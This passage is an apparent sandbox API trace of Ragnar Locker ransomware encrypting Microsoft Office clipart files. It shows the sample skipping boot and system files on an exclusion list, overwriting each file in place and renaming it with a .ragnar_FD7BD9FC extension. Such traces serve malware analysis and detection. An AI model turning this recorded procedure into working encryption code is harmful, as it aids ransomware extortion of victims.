lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.ragnar_FD7BD9FC" [0091.977] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.978] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02009_.WMF", cAlternateFileName="")) returned 1 [0091.978] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.978] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02009_.WMF" | out: lpString1="SO02009_.WMF") returned="SO02009_.WMF" [0091.978] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF") returned=".WMF" [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="autorun.inf") returned 1 [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="boot.ini") returned 1 [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="bootfont.bin") returned 1 [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="bootsect.bak") returned 1 [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="bootmgr") returned 1 [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="bootmgr.efi") returned 1 [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="desktop.ini") returned 1 [0091.978] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="iconcache.db") returned 1 [0091.979] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="ntldr") returned 1 [0091.979] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="ntuser.dat") returned 1 [0091.979] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.979] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="ntuser.ini") returned 1 [0091.979] lstrcmpiW (lpString1="SO02009_.WMF", lpString2="thumbs.db") returned -1 [0091.979] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.979] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.979] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.979] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.979] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.979] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.979] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf")) returned 0x20 [0091.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.980] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7444) returned 1 [0091.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.980] GetProcessHeap () returned 0x580000 [0091.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.980] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.981] VirtualAlloc (lpAddress=0x0, dwSize=0x1d14, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.982] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d14, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d14, lpOverlapped=0x0) returned 1 [0091.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.982] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d14, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.982] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d14, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d14, lpOverlapped=0x0) returned 1 [0091.983] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.983] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.983] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.983] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.983] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.983] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.983] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.983] GetProcessHeap () returned 0x580000 [0091.983] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.983] CloseHandle (hObject=0xf4) returned 1 [0091.983] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" [0091.983] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.ragnar_FD7BD9FC" [0091.983] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.984] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02022_.WMF", cAlternateFileName="")) returned 1 [0091.984] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.984] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02022_.WMF" | out: lpString1="SO02022_.WMF") returned="SO02022_.WMF" [0091.984] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF") returned=".WMF" [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="autorun.inf") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="boot.ini") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="bootfont.bin") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="bootsect.bak") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="bootmgr") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="bootmgr.efi") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="desktop.ini") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="iconcache.db") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="ntldr") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="ntuser.dat") returned 1 [0091.984] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.985] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="ntuser.ini") returned 1 [0091.985] lstrcmpiW (lpString1="SO02022_.WMF", lpString2="thumbs.db") returned -1 [0091.985] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.985] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.985] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.985] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.985] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.985] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.985] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf")) returned 0x20 [0091.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.985] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7528) returned 1 [0091.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.985] GetProcessHeap () returned 0x580000 [0091.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.985] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.987] VirtualAlloc (lpAddress=0x0, dwSize=0x1d68, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.987] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.987] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.987] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d68, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d68, lpOverlapped=0x0) returned 1 [0091.998] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.998] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d68, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.998] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d68, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d68, lpOverlapped=0x0) returned 1 [0091.998] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.998] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.999] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.999] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.999] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.999] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.999] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.999] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.999] GetProcessHeap () returned 0x580000 [0091.999] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.999] CloseHandle (hObject=0xf4) returned 1 [0091.999] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" [0091.999] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.ragnar_FD7BD9FC" [0091.999] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.000] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02024_.WMF", cAlternateFileName="")) returned 1 [0092.000] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.000] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02024_.WMF" | out: lpString1="SO02024_.WMF") returned="SO02024_.WMF" [0092.000] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF") returned=".WMF" [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="autorun.inf") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="boot.ini") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="bootfont.bin") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="bootsect.bak") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="bootmgr") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="bootmgr.efi") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="desktop.ini") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="iconcache.db") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="ntldr") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="ntuser.dat") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="ntuser.ini") returned 1 [0092.000] lstrcmpiW (lpString1="SO02024_.WMF", lpString2="thumbs.db") returned -1 [0092.000] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.000] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.000] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.000] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.000] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.000] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.001] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf")) returned 0x20 [0092.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.001] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9128) returned 1 [0092.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x239f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.001] GetProcessHeap () returned 0x580000 [0092.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.001] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.003] VirtualAlloc (lpAddress=0x0, dwSize=0x23a8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.003] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x23a8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x23a8, lpOverlapped=0x0) returned 1 [0092.004] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.004] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.004] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x23a8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x23a8, lpOverlapped=0x0) returned 1 [0092.004] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.004] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.004] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.004] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.004] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.005] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.005] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.005] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.005] GetProcessHeap () returned 0x580000 [0092.005] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.005] CloseHandle (hObject=0xf4) returned 1 [0092.005] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" [0092.005] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.ragnar_FD7BD9FC" [0092.005] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.006] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, 